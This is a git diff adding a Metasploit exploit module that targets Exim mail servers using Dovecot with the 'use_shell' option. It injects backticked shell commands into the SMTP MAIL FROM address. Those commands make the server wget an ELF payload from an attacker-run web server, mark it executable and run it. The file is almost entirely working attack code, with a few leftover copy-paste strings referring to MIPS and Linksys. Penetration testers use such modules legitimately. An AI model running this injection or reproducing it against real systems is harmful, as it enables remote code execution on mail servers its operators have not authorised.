diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb new file mode 100644 index 0000000000..ea27b55ee1 --- /dev/null +++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb @@ -0,0 +1,218 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Smtp + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exim and Dovecot Insecure Configuration Command Injection', + 'Description' => %q{ + This module exploits a command injection vulnerability against Dovecot with + Exim using the "use_shell" option. It uses the sender's address to inject arbitary + commands since this is one of the user-controlled variables, which has been + successfully tested on Debian Squeeze using the default Exim4 with dovecot-common + packages. + }, + 'Author' => + [ + 'Unknown', # From redteam-pentesting # Vulnerability Discovery and PoC + 'eKKiM', # PoC + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '93004' ], + [ 'EDB', '25297' ], + [ 'URL', 'https://www.redteam-pentesting.de/advisories/rt-sa-2013-001' ] + ], + 'Privileged' => false, + 'Arch' => ARCH_X86, + 'Platform' => 'linux', + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'Linux x86', { }], + ], + 'DisclosureDate' => 'May 03 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('EHLO', [ true, 'TO address of the e-mail', 'debian.localdomain']), + OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'root@debian.localdomain']), + OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), + OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), + OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 80 ]), + OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) + ], self.class) + + deregister_options('MAILFROM') + end + + # wait for the data to be sent + def wait_linux_payload + print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") + + waited = 0 + while (not @elf_sent) + select(nil, nil, nil, 1) + waited += 1 + if (waited > datastore['HTTP_DELAY']) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + end + end + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + if (not @pl) + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") + return + end + print_status("#{rhost}:#{rport} - Sending the payload to the server...") + @elf_sent = true + send_response(cli, @pl) + end + + def exploit + + @pl = generate_payload_exe + @elf_sent = false + + # + # start our web server to deploy the final payload + # + downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) + resource_uri = '/' + downfile + + if (datastore['DOWNHOST']) + service_url_payload = datastore['DOWNHOST'] + resource_uri + else + + # Needs to be on the port 80 + if datastore['SRVPORT'].to_i != 80 + fail_with(Exploit::Failure::Unknown, 'The Web Server needs to live on SRVPORT=80') + end + + #do not use SSL + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + #we use SRVHOST as download IP for the coming wget command. + #SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + service_url_payload = srv_host + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + + datastore['SSL'] = true if ssl_restore + end + + + connect + + print_status("#{rhost}:#{rport} - Server: #{self.banner.to_s.strip}") + if self.banner.to_s !~ /Exim / + disconnect + fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - The target server is not running Exim!") + end + + ehlo = datastore['EHLO'] + ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n") + ehlo_resp.each_line do |line| + print_status("#{rhost}:#{rport} - EHLO: #{line.strip}") + end + + # + # Initiate the message + # + filename = rand_text_alpha_lower(8) + from = rand_text_alpha(3) + from << "`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}`" + from << "`chmod${IFS}+x${IFS}/tmp/#{filename}`" + from << "`/tmp/#{filename}`" + from << "@#{ehlo}" + to = datastore['MAILTO'] + + resp = raw_send_recv("MAIL FROM: #{from}\r\n") + resp ||= 'no response' + msg = "MAIL: #{resp.strip}" + if not resp or resp[0,3] != '250' + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}") + else + print_status("#{rhost}:#{rport} - #{msg}") + end + + resp = raw_send_recv("RCPT TO: #{to}\r\n") + resp ||= 'no response' + msg = "RCPT: #{resp.strip}" + if not resp or resp[0,3] != '250' + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}") + else + print_status("#{rhost}:#{rport} - #{msg}") + end + + resp = raw_send_recv("DATA\r\n") + resp ||= 'no response' + msg = "DATA: #{resp.strip}" + if not resp or resp[0,3] != '354' + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}") + else + print_status("#{rhost}:#{rport} - #{msg}") + end + + message = "Subject: test\r\n" + message << "\r\n" + message << ".\r\n" + + resp = raw_send_recv(message) + msg = "DELIVER: #{resp.strip}" + if not resp or resp[0,3] != '250' + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}") + else + print_status("#{rhost}:#{rport} - #{msg}") + end + disconnect + + # wait for payload download + if (datastore['DOWNHOST']) + print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload") + select(nil, nil, nil, datastore['HTTP_DELAY']) + else + wait_linux_payload + end + register_file_for_cleanup("/tmp/#{filename}") + + end + +end